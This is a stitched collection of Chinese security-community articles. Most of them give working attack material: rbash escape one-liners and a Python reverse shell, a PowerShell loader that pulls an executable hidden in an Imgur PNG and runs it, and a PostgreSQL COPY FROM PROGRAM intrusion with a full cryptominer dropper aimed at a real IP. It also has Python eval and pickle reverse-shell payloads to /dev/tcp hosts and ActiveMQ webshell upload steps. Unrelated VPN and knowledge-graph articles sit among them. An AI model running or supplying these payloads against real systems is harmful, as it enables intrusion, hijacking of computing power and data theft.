tar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash
4.3.4、利用编程语言环境绕过
[1]python
python -c 'import os; os.system("/bin/sh")'
[2]php
php -a then exec("sh -i");
[3]perl
perl -e 'exec "/bin/sh";'
[4]lua
os.execute('/bin/sh')
[5]ruby
exec "/bin/sh"
[6]expect
spwan sh
sh
最后的几个小tips:
[1]比rbash更容易遇到的问题是当前路径异常问题
echo $PATH ###一般很多命令基础执行不了的时候，都是路径异常，查看该值可验证
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ####修复
[2] 不能使用 > ，>>等字符重定向写文件：echo 'script code' | tee scriptfile
[3]su切换用户逃逸时还可以在切换用户时执行spawn shell命令
su -c "python -c 'import pty;pty.spawn(\"/bin/bash\")'" tw
[4]ssh 登录时同样可以通过spawn shell逃逸
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'
[5]编程语言绕过的利用，还可以使用反弹shell到我们攻击机的方式进行逃逸，以python为例：
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[6]上边用的比较多的是 !/bin/sh 和 !/bin/bash;其实还有一个 !'sh' --->由于没有了 '/' ；有时候能够达到很好的绕过效果
[7]同理.在路径正确的情况下，在当前rbash中直接输入 sh 也能够完成逃逸( !/bin/sh 和 !/bin/bash 逃逸失败报错同[6] )
# **0x05、总结**
此处虽然只演示了rbash，但是这些逃逸方式应用到其他类型的restricted shell中也是可以的
由于不同系统特性不同，逃逸的方式也有很大差异；再就是用户限制的宽松程度不同，我们能够逃逸的方式也不同；用户安装的git、tar、zip等应用也能够给我很大的帮助；总之就是要多尝试，灵活应用！！！ | 社区文章 |
# 【技术分享】利用Powershell和PNG在Imgur上投毒
|
##### 译文声明
本文是翻译文章，文章来源：colin.keigher.ca
原文地址：<http://colin.keigher.ca/2016/12/going-viral-on-imgur-with-powershell.html>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：190RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**前言**
随着许多恶意软件作者开始把PE文件嵌入到图像中，这已经引起了安全研究人员的注意，几个月前卡巴斯基就发表了一篇使用PNG分发恶意软件的有效载荷的研究文章。让人遗憾的是，虽然这些图像的分辨率仅有63×48像素，但大小却达到了1.3
MB。
实际上，这种做法并不是很隐蔽，不过别着急，因为我们找到了更好的办法。
**将文件编码到PNG图片中**
首先，我们不妨先来了解一下PNG文件本身。与JPEG不同，PNG是无损的，即使在压缩的情况下也是如此，这就意味着以这种格式创建一个图像时，除非改变了其分辨率或颜色调色板，否则的话它会保留已生成的所有数据。与GIF不同，PNG文件是通过Alpha通道来处理透明效果的，而不是颜色替换。
我们能够PNG文件的压缩和alpha通道特性，将数据嵌入到PNG图像文件中去。对于PNG图像的每个像素来说，都是由三个8位值来表示颜色，同时，通过另一个8位值（称为“alpha通道”）来表示透明程度。这意味着每个像素可以表示为R，G，B和A，其中A的取值范围为0-255。
这里是一个示例图像（源自维基百科）：
该图片的像素是800×600，具有8位色彩和alpha通道，这意味着该图片中可以保存480,000像素或468
KB的数据。下面，让我们使用Pillow库和Python在这个图片中嵌入数据。
下面是用来嵌入数据的Python脚本：
from PIL import Image
from sys import argv
from base64 import b64encode
i = argv[1]
o = argv[2]
with open(argv[3], 'rb') as f:
text = f.read()
img_in = Image.open(i)
img_pad = img_in.size[0] * img_in.size[1]
text = b64encode(text)
if len(text) < img_pad:
text = text + 'x00'*(img_pad - len(text))
else:
print('File is too large to embed into the image.')
quit()
text = [text[i:i+img_in.size[1]] for i in range(0, len(text), img_in.size[1])]
img_size = img_in.size
img_mode = img_in.mode
img_o = Image.new(img_mode, img_size)
for ih, tblock in zip(xrange(img_in.size[0]), text):
for iv, an in zip(xrange(img_in.size[1]), [ord(x) for x in tblock]):
x, y, z, a = img_in.getpixel((ih, iv))
pixels = (x, y, z, an)
img_o.putpixel((ih, iv), pixels)
img_o.save(o)
我们可以利用下列命令来执行上面的程序：
$ python encode.py image.png image_out.png payload.dat
让我们看看把图像嵌入到图像后是什么样子吧！
在这个图像里面，我又编码进去了一个JPEG。该图像显然变得更柔和了，在透明度方面多少有些掉帧的感觉，但通常不至于引起别人的怀疑。通过对编码过程进行一些改进，可以使alpha通道看起来更加自然。
实际上，嵌入其中的图像如下所示：
下面的Python脚本可以从图像中恢复数据：
from PIL import Image
from sys import argv
from base64 import b64decode
i = argv[1]
o = ''
s = argv[2]
img = Image.open(i)
for x in xrange(img.size[0]):
for y in xrange(img.size[1]):
p = img.getpixel((x, y))
p = p[-1]
o = o + chr(p)
o = o.replace('00', '')
o = b64decode(o)
with open(s, 'wb') as f:
f.write(o)
我们可以通过运行下面的命令来证明没有产生任何的损失：
$ md5 blog_sample.png
MD5 (blog_sample.png) = 694ab6d3260933f75dec92ba01902f9b
$ python encoder.py blog_sample.png blog_sample.out.png antivirus.jpg
$ md5 blog_sample.out.png
MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
$ md5 antivirus.jpg
MD5 (antivirus.jpg) = 84893c561288b6a1a9d76f399a89d51b
$ python decoder.py blog_sample.out.png antivirus.orig.jpg
$ md5 antivirus.orig.jpg
MD5 (antivirus.orig.jpg) = 84893c561288b6a1a9d76f399a89d51b
正如您所看到的，这个文件的内容不会因为在图像的Alpha通道中嵌入数据而发生变化。
**使用Imgur和Powershell来滥用这个特性**
自从在Reddit上首次亮相以来，Imgur已经成为最大的图像托管服务商之一。这主要得益于它可以直接上传图片，而不要求创建帐户。
通过测试发现，Imgur似乎会剥除不属于图像的数据。也就是说，您不能使用旧技术把zip文件和JPEG或PNG简单合并在一起，因为该服务会把这些数据完全剥离掉。
我们知道它会删除这些混合文件，那么它是否会删除我们前面编码进去的数据呢？让我们上传前面的示例图像来检查一下。
$ md5 blog_sample.out.png
MD5 (blog_sample.out.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
$ wget https://i.imgur.com/Oj8FhU5.png
--2016-11-24 13:56:50-- https://i.imgur.com/Oj8FhU5.png
Resolving i.imgur.com... 151.101.52.193
Connecting to i.imgur.com|151.101.52.193|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 664208 (649K) [image/png]
Saving to: 'Oj8FhU5.png'
Oj8FhU5.png 100%[====================================>] 648.64K 2.42MB/s in 0.3s
2016-11-24 13:56:51 (2.42 MB/s) - 'Oj8FhU5.png' saved [664208/664208]
$ md5 Oj8FhU5.png
MD5 (Oj8FhU5.png) = 10a4fd1bf52d0bfa50ced699f8c53c39
如您所见，前面制作的文件上传到Imgur后并没有被改变。
那我们现在要怎么办？ 这有用吗？好了，Imgur只是万里长征的第一步：无需注册帐户就可以上传图片。为什么不使用它来分发恶意软件，而不必暴露自己太多的信息呢？
有一件事要注意，你必须有能力恢复PNG图像并对其进行处理，因为带有代码执行漏洞的PNG库已经成为过去，只是加载带有有效载荷的图像是不太可能黑掉系统的。
幸运的是，Windows有一个内置的功能，可以直接让你与图像打交道并提取像素数据。为此，可以使用Powershell，而无需任何附加模块。代码如下：
Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Text.Encoding
$strURL = "http://i.imgur.com/nckqSN1.png"
$strFilename = "c:temppayloadb64.png"
$peOutputFile = "c:tempcalc.exe"
Invoke-WebRequest -Uri $strURL -OutFile $strFilename
$image = [System.Drawing.Image]::FromFile($strFilename)
$peBase64 = @()
for ($w=0;$w -lt $image.Width;$w++)
{
$row = @()
for ($h=0;$h -lt $image.Height;$h++)
{
$pixel = ($image.GetPixel($w,$h)).A
$pixel = [convert]::toint32($pixel, 10)
$pixel = [char]$pixel
$row += $pixel
}
$peBase64 = $peBase64 + $row
}
$peImage = @()
foreach ($peValue in $peBase64)
{
if ($peValue -ne "`0")
{
$peImage = $peImage += $peValue
}
}
$peImage = [System.Convert]::FromBase64String($peImage)
[System.IO.File]::WriteAllBytes($peOutputFile, $peImage)
& $peOutputFile
**该脚本工作流程如下：**
从Imgur下载PNG并将其保存到磁盘
1\. 使用System.Drawing，读取每个像素并提取alpha（A）的值
2\. 确保从数组中删除所有空值（0x00）
3\. 对Base64数据进行解码并将文件写入磁盘
4\. 将新解码的文件作为可执行文件运行
基于上面的代码，它当然会弹出计算器：
要想执行上面的代码，要求你的系统允许执行Powershell脚本。也就是说，虽然在大多数家用电脑这不是一个安全问题，因为它被默认禁用的，但是许多企业环境都要求启用这项功能。绕过所有限制的方法，是在VBScript的帮助下执行代码，可以在一个Word宏中存储所有这些东西。
**解决方案**
需要记住的一点是，虽然攻击是使用Powershell完成的，但这并不意味着你不能用带有嵌入宏的Word文档来实现这一点。从终端用户角度来看，避免执行任何不需要的代码是避免这种情况的最好方法。 | 社区文章 |
# 摘要
随着数字货币行业的火热，挖矿已成为攻击者变现的首选方式。而数据库服务器作为算力的重要承载者，也早已成为此类攻击的首选目标。
阿里云安全团队跟踪发现，继Redis\OrientDB等数据库类软件之后，PostgreSQL已逐渐进入此类攻击的目标范畴。预计未来针对其他数据应用服务的此类攻击也会逐步兴起。建议数据库服务提供商和用户在默认安全策略、密码策略等方面需要提高水位，防范潜在的风险。
2018年8月10日晚19点左右，阿里云安全团队首次发现一起利用PostgreSQL
PROGRAM特性进行批量挖矿牟利的攻击事件。该攻击者首先利用扫描收集弱密码机器，然后批量登录后使用未公开的 可致RCE的攻击手法部署挖矿软件。
本篇我们对整个PostgreSQL数据库批量挖矿实例作了详细的分析：
# PostgreSQL数据库说明
PostgreSQL 是一个自由的对象-关系数据库服务器(数据库管理系统)，它在灵活的 BSD-风格许可证下发行。它提供了相对其他开放源代码数据库系统(比如
MySQL 和 Firebird)，和专有系统(比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL
Server)之外的另一种选择。
# 漏洞影响
整个互联网共有336,784对外开放端口的PostgreSQL主机，它已经是互联网数据库服务器的一部分，承载了大量的重要应用和数据。
随着数字货币经济的不断发展，大量的数据库服务和应用(如Redis\OrientDB等)都已经成为了挖矿、木马等僵尸网络的目标对象，而PostgreSQL也在这个攻击列表中。
使用弱密码，或者将服务暴露在公网的9.5以上版本的PostgreSQL
服务器都可能受到此类攻击威胁。一旦被攻击者入侵，机器的计算能力、承载的数据、运行的应用等都将会被入侵者所控制。
# 攻击事件说明
1. 攻击者通过端口扫描批量发现开放了5432端口(PostgreSQL的默认端口)的机器。
2. 通过标准弱密码进行爆破尝试，如Postgres/Postgres默认密码即可登录一部分机器
3. 通过 PROGRAM 方法按照登录的账户权限执行任意指令。
(注：本漏洞为本地验证，出现ip地址均为本地ip地址)
COPY rce_test
FROM PROGRAM 'curl http://172.16.72.1/1.sh | bash';
在本地实验中所使用的测试只是执行一个简单的 id指令进行测试。
最终结果如下:
指令成功执行。结合越权漏洞一起使用，本攻击方法能够达到执行任意指令的效果。
具体到本次事件中的攻击者，只是使用当前用户权限直接部署挖矿脚本
sh -c (wget -q -O- http://204.48.25.175/kworker.sh || curl -fsSL http://204.48.25.175/kworker.sh) | sh
下载运行的脚本如下所示:
#!/bin/sh
XURL="http://204.48.25.175/kw0rker"
XNAME="x"`ls /dev/disk/by-uuid/ | head -n 1 | cut -c 1-8`
XPATH="/tmp/"
XBIN=$XPATH$XNAME
download_file(){
if ! `(wget --no-check-certificate -O $2 $1 || curl $1 -o $2)`; then
if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
else
python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
fi
fi
}
run_file(){
chmod +x $1$2
command cd $1 && ./$2
rm -rf $1$2
}
keep_running(){
xpid=`ps -aeo pid,command |grep $XNAME|grep -v grep | awk '{print $1}'`
`ps -aeo pid,user,command | grep -v grep | grep -v $$ | grep -v $xpid | grep -E "postgres|python|stratum|nohup|/tmp/|sleep" | awk '{print index($3,"post")?"":$1;}' | xargs kill -9`
`ps -aeo pid,%cpu | grep -v $$ | grep -v $xpid | grep -v grep | awk '{if($2>45){print $1}}' | xargs kill -9`
p=`ps -aeo command | grep -v defunct | grep $XNAME | grep -v grep | wc -l`
if [ ${p} -eq 0 ];then
sleep 3600
download_file $XURL $XBIN
run_file $XPATH $XNAME &
fi
}
while true
do
keep_running
sleep 5
done
该脚本的实际作用是下载真实的挖矿程序。
攻击者使用门罗币地址:
41ixve3yz58LhFbEpVqnbXeeMe7xq6R5uU9jz54iHBqFTddAKfvpSGDUg6xDyoTHSg2uxZQG6FjiE3Em435cypdjLkFNCc8
共计获利19.718362120000个门罗比，现价(619元/币)折合人民币12000元左右。
查询该地址归属的算力地址自8月10日中午开始暴涨近4倍。由于该攻击者的攻击手法使用了PostgreSQL9.5之后的一个特性，而这一特性是首次在此类攻击中出现；同时，该攻击者的攻击流量仍然较小，我们相信此时此类攻击手法仍在早期阶段，后期会出现扩散和变异。
# 安全建议
● 建议加强PostgreSQL的密码策略，不要使用默认的密码或者安全性较弱的密码
● 通过安全组能力设置IP访问白名单，不让非相关的IP地址访问PostgreSQL数据库 | 社区文章 |
# VSRC连载系列之（2）VPN真的安全吗？（记一次EzVPN的测试）
|
##### 译文声明
本文是翻译文章，文章来源： 唯品会安全应急响应中心
原文地址：[https://mp.weixin.qq.com/s?__biz=MzI5ODE0ODA5MQ==&mid=404484427&idx=1&sn=ba905210befbe078f4197afca2cf837a&scene=1&srcid=08089bfBpwOQ0M0YPe8GcCfL&pass_ticket=h%2BWteJp%2Fu6Sd4rrCZlfLDYrGbpqtqXBSXea8Dns2DyDioFpgpjw2%2BUzx7T28lVBX#rd](https://mp.weixin.qq.com/s?__biz=MzI5ODE0ODA5MQ==&mid=404484427&idx=1&sn=ba905210befbe078f4197afca2cf837a&scene=1&srcid=08089bfBpwOQ0M0YPe8GcCfL&pass_ticket=h%2BWteJp%2Fu6Sd4rrCZlfLDYrGbpqtqXBSXea8Dns2DyDioFpgpjw2%2BUzx7T28lVBX#rd)
译文仅供参考，具体内容表达以及含义原文为准。
**导读：**
继上周机房排错后，A同学又接到公司需求：总部希望有一个更加灵活的上网环境，希望SOHO员工能便捷的接入公司资源，且出于安全考虑，所有数据必须经过严格的加密传输。
于是A同学便想到了EzVPN，EzVPN采用中心站点管理模式，通过动态的分发策略，从而降低远程访问VPN部署的复杂度，在数据加密安全传输的同时还能增加网络的扩展性和灵活性。
那么，这个方案是否可行呢？
**一、简介**
Ezvpn的好处显而易见就是Eazy啦，Cisco设计之初的核心思想便是将配置集中式管理，集中在Server端，从而简化Client端的操作，Ezvpn推出之际广受欢迎，但随着时间的推移，问题也逐渐暴露了出来。
**（一）、EzVPN在第 1 阶段有2种认证方式：**
**1、数字证书认证（ rsa-sig ）**
使用数字证书认证的EzVPN 第一阶段使用标准的6个数据包交换的主模式
**2、预共享秘钥（pre shared）**
组名+密码：好处是可以为一个公司内的不同部门配置不同的组，并把VPN的相关策略与组进行关联，如部门1用户分配地址池1，部门2分配地址池2
**（二）、EzVPN 的IKE协商有以下三个阶段：**
**1、第一阶段：group2 + key**
一般推荐配置：
Pre-share +DH Group2 +MD5+DES / Pre-share+ DH Group2 +SHA+3DES
**2、第二阶段：XAUTH & MODE-CFG**
XAUTH用户名+密码- Extended Authentication 扩展认证 ，弥补主模式安全性上的问题，MODE-CFG为客户推送VPN策略
**3、第三阶段：快速模式**
快速模式3个包（和普通VPN一样）
注意EzVPN不支持AH封装
一般推荐配置：esp-des esp-md5-hmac / esp-3des esp-md5-hmac
**二、以下为基于EzVPN的Feature测试**
**1、测试：地址获取情况查看：**
**2、测试：查看客户是否存在PAT**
结论：存在PAT
**3、测试：客户身后网络能否访问互联网**
明显无法访问，这是因为再没有启用隧道分割技术的EzVPN客户模式下，内部网路是无法访问互联网的，属正常现象。
**3.1、 Internet启动debug测试ICMP数据包**
**4、测试：中心站点是否可以主动发起访问客户网络**
结论：客户可以访问中心站点，但是中心站点却无法访问客户网络，因为PAT隐藏了这个网络
**5、客户模式加上隧道分割**
crypto isakmp client configuration group
acl split
ip access-list extended split
permit ip 10.1.1.0 0.0.0.255 any
**6、在客户端清除EzVPN连接**
Client#clear crypto ipsec client ezvpn
*April 1 01:12:10.659: %CRYPTO-6-EZVPN_CONNECTION_DOWN: (Client) User=ipsecuser Group=ipsecgroup Client_public_addr=202.100.1.1 Server_public_addr=61.128.1.1 Assigned_client_addr=123.1.1.101
*April 1 01:12:12.915: %LINK-5-CHANGED: Interface Loopback10000, changed state to administratively down
*April 1 01:12:13.915: %LINEPROTO-5-UPDOWN: Line protocol on Interface Loopback10000, changed state to down
*April 1 01:12:14.879: %CRYPTO-6-EZVPN_CONNECTION_UP: (Client) User=ipsecuser Group=ipsecgroup Client_public_addr=202.100.1.1 Server_public_addr=61.128.1.1 Assigned_client_addr=123.1.1.102
*April 1 01:12:16.035: %LINK-3-UPDOWN: Interface Loopback10000, changed state to up
*April 1 01:12:17.035: %LINEPROTO-5-UPDOWN: Line protocol on Interface Loopback10000, changed state to up
**7、测试：查看客户端EzVPN状态**
Branch#show crypto ipsec client ezvpn
Easy VPN Remote Phase: 6
Tunnel name : EzVPN
Inside interface list: FastEthernet0/0
Outside interface: FastEthernet0/1
Current State: IPSEC_ACTIVE
Last Event: MTU_CHANGED
Address: 123.1.1.102
Mask: 255.255.255.255
Save Password: Allowed
Split Tunnel List: 1
Address : 10.1.1.0
Mask : 255.255.255.0
Protocol : 0x0
Source Port: 0
Dest Port : 0
Current EzVPN Peer: 61.128.1.1
**8、测试：查看客户端是否存在PAT**
Branch#show ip nat statistics
Total active translations: 0 (0 static, 0 dynamic; 0 extended)
Outside interfaces:
FastEthernet0/1
Inside interfaces:
FastEthernet0/0
Hits: 330 Misses: 0
CEF Translated packets: 330, CEF Punted packets: 0
Expired translations: 8
Dynamic mappings:
— Inside Source
[Id: 4] access-list internet-list interface FastEthernet0/1 refcount 0
第一个用户上网的PAT转换到外部接口fa 0/1地址
[Id: 3] access-list enterprise-list pool EzVPN refcount 0
第二个访问中心内部网络的PAT 转换到地址池地址123.1.1.102
pool EzVPN: netmask 255.255.255.0
start 123.1.1.102 end 123.1.1.102
type generic, total addresses 1, allocated 0 (0%), misses 0
Appl doors: 0
Normal doors: 0
Queued Packets: 0
**9、测试：客户身后内部网络能否访问互联网**
由于在客户端Branch上发现了id:4 PAT 所以在Private上使用ping和telnet能够成功的访问互联网路由器Internet
**10、测试：中心站点能否主动发起连接访问客户身后网络**
中心站点无法主动发起访问客户身后网络，因为PAT隐藏了这个网络
结论：
经测试总结，发现EzVPN存在以下诸多硬伤：
1、客户端软件兼容性低
2、设备基本配置复杂
3、操作界面缺乏人性化
基于以上分析，A同学终于决定放弃EzVPN….
他是否会选择功能类似的SSL VPN呢？
下一个VPN又会存在哪些问题呢？
**（未完待续….）** | 社区文章 |
原文地址：<https://www.cdxy.me/?p=747>
This article summarizes unsafe functions and exploits in Python command/code
execution.
## os
Unsafe functions
* os.system
* os.popen
* os.popen2
* os.popen3
* os.popen4
Exploit
>>> import os
>>> os.system("id")
uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
0
>>> os.popen("id").read()
'uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)\n'
## subprocess / popen2
Unsafe functions
* subprocess.Popen
* subprocess.call
* subprocess.check_call
* subprocess.check_output
* popen2.popen2
* popen2.popen3
* popen2.popen4
* popen2.Popen3
* popen2.Popen4
Exploit
>>> import subprocess
>>> subprocess.Popen("id")
<subprocess.Popen object at 0x7fd84aa7d050>
>>> uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
## commands
Unsafe functions
* commands.getoutput
* commands.getstatusoutput
Exploit
>>> import commands
>>> commands.getoutput('id')
'uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)'
## eval / exec
Exploit
>>> eval("os.system('id')")
uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
0
>>> exec("os.system('id')")
uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
Env bypass exploit
payload = '__import__("os").popen("/bin/bash -i >& /dev/tcp/119.29.235.20/12345 0>&1")'
for c in [].__class__.__base__.__subclasses__():
if c.__name__ == 'catch_warnings':
for b in c.__init__.func_globals.values():
if b.__class__ == {}.__class__:
if 'eval' in b.keys():
b['eval'](payload)
Related links
* [Ned Batchelder: Eval really is dangerous](http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
## pickle / shelve / marshal
Unsafe functions
pickle.loads
pickle.load
pickle.Unpickler
cPickle.loads
cPickle.load
cPickle.Unpickler
shelve.open
marshal.load
marshal.loads
Pickle documentation about `__reduce__`
> When the Pickler encounters an object of a type it knows nothing about —
> such as an extension type — it looks in two places for a hint of how to
> pickle it. One alternative is for the object to implement a `__reduce__()`
> method. If provided, at pickling time `__reduce__()` will be called with no
> arguments, and it must return either a string or a tuple.
Exploit
>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'id'\ntR.")
uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
0
Exploit generator
import cPickle
import base64
class MMM(object):
def __reduce__(self):
import os
s = "/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1"
return (os.popen, (s,))
print base64.b64encode(cPickle.dumps(MMM()))
import cPickle
import base64
s = 'Y3Bvc2l4CnBvcGVuCnAxCihTJy9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMScKcDIKdFJwMwou'
cPickle.loads(base64.b64decode(s))
Development recommendation
* use XML, json or something else depends on your situation.
Related links
* [Exploiting Misuse of Python's "Pickle"](https://blog.nelhage.com/2011/03/exploiting-pickle/)
## yaml
Unsafe functions
* yaml.load
* yaml.load_all
Exploit
>>> import yaml
>>> yaml.load('!!python/object/apply:os.system ["id"]')
uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
0
Development recommendation
* use `yaml.safe_load` and `yaml.safe_load_all`
Related links
* [Tom Eastman - Serialization formats are not toys - PyCon 2015](https://www.youtube.com/watch?v=kjZHjvrAS74) | 社区文章 |
**作者：知道创宇404实验室**
**英文版本：<https://paper.seebug.org/1089/>**
#### 1\. 背景概述
ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器，它为基于 Java 的 web
容器，例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的
Web 应用。
2016年4月14日，国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver
存在多个安全漏洞，可使远程攻击者用恶意代码替代Web应用，在受影响系统上执行远程代码（CVE-2016-3088）。
#### 2\. 原理分析
ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,下载 [ActiveMQ 5.7.0
源码](http://archive.apache.org/dist/activemq/apache-activemq/5.7.0/activemq-parent-5.7.0-source-release.zip) ，可以看到后台处理 PUT 的关键代码如下
用户可以上传文件到指定目录，该路径在 `conf/jetty.xml` 中定义，如下
有趣的是，我们伪造一个特殊的上传路径，可以爆出绝对路径
顺着 PUT 方法追踪，可以看到调用了如下函数
同时看到后台处理 MOVE 的关键代码如下，可以看到该方法没有对目的路径做任何限制或者过滤。
由此，我们可以构造PUT请求上传 webshell 到 fileserver 目录，然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。
#### 3\. 漏洞利用的多种姿势
根据以上漏洞原理，我们可以想到多种利用姿势。
（注：以下结果均在 ActiveMQ 5.7.0 中复现，复现过程中出现了 MOVE 方法利用很不稳定的情况。）
* 上传Webshell方式
首先 PUT 一个 Jsp 的 Webshell 到 fileserver 目录
在 fileserver/ 目录中 Webshell 并没有执行权限
爆一下绝对路径
然后利用 MOVE 方法将 Webshell 移入 admin/ 目录（也可以利用相对路径）
访问http://localhost:8161/admin/1.jsp?cmd=ls ，命令成功执行，效果如下
* 上传SSH公钥方式
既然可以任意文件上传和移动，很自然的可以想到上传我们的 ssh 公钥，从而实现 SSH 方式登录。
首先生成密钥对。（如果已存在则不需要）
然后上传、移动到`/root/.ssh/`并重命名为`authorized_keys`
之后直接ssh登录即可。
#### 4\. 漏洞影响
漏洞影响版本：Apache ActiveMQ 5.x ~ 5.14.0
在 [ZoomEye](https://www.zoomeye.org) 上用 日期 和 ActiveMQ
作为关键词检索，分别探测了2015年1月1日（漏洞爆发前一年）和2017年1月1日（漏洞爆发后一年）互联网上 ActiveMQ 的总量情况，如下。
可以看到，ActiveMQ的数量在漏洞爆发前后有很大幅度的减少，从这我们大致可以猜测漏洞爆发后很多ActiveMQ的Web服务限制了来自公网的访问。
#### 5\. 漏洞防护方案
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
2、通过移除 `conf\jetty.xml` 的以下配置来禁用 ActiveMQ Fileserver 功能
#### 6\. 参考链接
[1] <http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt>
[2] <https://www.seebug.org/vuldb/ssvid-96268>
* * * | 社区文章 |
**作者：Toky
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 1\. 知识图谱是什么？
### 1.1 知识（Knowledge）是什么？
知识图谱（Knowledge Graph）正如其名，其本质是为了 **表示知识** [1]。那么知识是该如何定义呢？我们来看一下维基百科中的定义：
>
> 知识是对某个主题确信的认识，并且这些认识拥有潜在的能力为特定目的而使用。意指透过经验或联想，而能够熟悉进而了解某件事情；这种事实或状态就称为知识，其包括认识或了解某种科学、艺术或技巧。此外，亦指透过研究、调查、观察或经验而获得的一整套知识或一系列资讯。
可以从这块相对抽象的定义里得到一个主观的感受，那就是知识是一种认知，其既是一种事实，也是一种状态。比如，“我会加减乘除”是一种事实也是在表述我通过学习和实践，使得现在已经掌握这项技能的一种状态。并且这种认知是相对复杂的，有从时间变化的纵向维度，也有涉及到关系、概念、实践等等横向维度的变化。但不变的是，知识是有一个主题的，以及由主题衍生出来的各个“属性”组成，类似于树状结构，这一棵树，就是一条知识。
如果用官方一点的定义呢，每条知识是表示为一个SPO三元组，即Subject（主体）——Predicate（谓语）——>Object（客体）[1]。
那个回到“表示知识”这个关键点，我们创造出知识图谱这个概念，就是为了帮助我们更快、更好地用来表示出多条独立的“知识”。更进一步说，知识图谱就是用来组织和描述SPO三元组的。
那么如何描述呢？请看下一部分
### 1.2 如何描述三元组？
前面我们介绍了知识的概念和SPO三元组，我们已经知道了，知识图谱是一条条知识组成的，一条条知识又是三元关系（Subject——Predicate——>Object）组成的，那么问题就来了，如何描述这个三元关系呢？
#### 使用RDF来表示
在知识图谱中，我们用RDF形式化地表示这种三元关系。[1] 从定义上来看，RDF(Resource Description
Framework)，即资源描述框架，是W3C制定的，用于描述实体/资源的标准数据模型。[1]
为什么我们描述知识要用“Web”的形式去描述呢？因为网络、Web中的各项关系，其实和知识的抽象概念很像，这是一种即像树，又像网的东西。
有唯一确定主体、有连接属性的谓语、有明确属性值。
那么RDF框架下，对三元组是如何具体定义的呢？我们先来了解一下RDF图中定义的三种类型：International Resource
Identifiers(IRIs)，blank nodes 和 literals[1]。RDF通过定义出来的这三种属性对SPO三元组进行约束：
> 1. Subject可以是IRI或blank node。
> 2. Predicate是IRI。
> 3. Object三种类型都可以。
>
可以看到，主体必须是能唯一表示的，或者干脆就是匿名资源（Blank
Node，这个概念可以向外引申，在这里可以先忽略）。唯一表示就会用到IRI，相当于是URL和URI的推广[1]，用于唯一定义一个实体或是资源。（说白了，就是我们要通过一个确定的方式来找到唯一的它）
谓语也是要唯一表示的，就像你都不知道要和另一个人建立什么关系，你又怎么能跑过去说我们在一起吧。这个“在一起的两个人“这个关系描述得就太模糊，不能唯一确定。举个例子，两个男的可以是朋友、可以是仇人也可以是情侣。
那我们整理一下RDF定义三种类型的用处：
* IRI —— 在整个网络或者图中唯一定义了一个实体/资源
* blank node —— 没有IRI和literal的资源，或者说匿名资源[1]，暂不详细分析
* literal —— 字面量，可以看作是带有数据类型的纯文本
回到刚刚那个例子，架设有两个男人一个为A，一个为B，我们的主体Subject是男人A，我们给他一个IRI：`www.man-a/relation`；我们的谓语是表示与主体是朋友的关系，我们给他一个带有prefix的IRI：`kg:firiends`；然后我们的客体就是男人B的名字，我们给他一个字面量：`man-b`。
那么这个描述两个男人间朋友关系的这个知识就可以表述为：`www.man-a/relation` ——`kg:firiends`——`man-b`。
是不是一下子就很清楚了。这就是RDF的作用，使用标准数据模型的方式来进行资源描述。
#### 使用属性图来表示
介绍完RDF来表示关系，是不是感觉略有一点复杂，确实，这种方式比较严谨，更贴近知识图谱原始的定义。但实际在工业界应用过程中，还是会有相当多的场景会选择用
**属性图（Property Graph）** 的形式来描述“关系”。那么下面我们来介绍一下属性图的方式。
属性图(Property
Graph)的逻辑其实特别好理解，就是主体会和很多客体有关系，比如主体是一个普通人A的话，他会有手机号、会有性别、会有家人，这些就是他的客体。而他和他的手机号之间，就是“拥有”的关系、他和他的父亲，就是父子关系，这种关系就是主体和客体的关系。以上三种，主体、关系、客体，都可以有相应的属性。例如普通人A，属性可以是他的名字（也可以成为一种主客体关系）；他和他的手机号之间是拥有的关系，“拥有”关系可以有属性“何时拥有”、”如何拥有“等；手机号也可以有属性，比如归属的运营商名字等等。
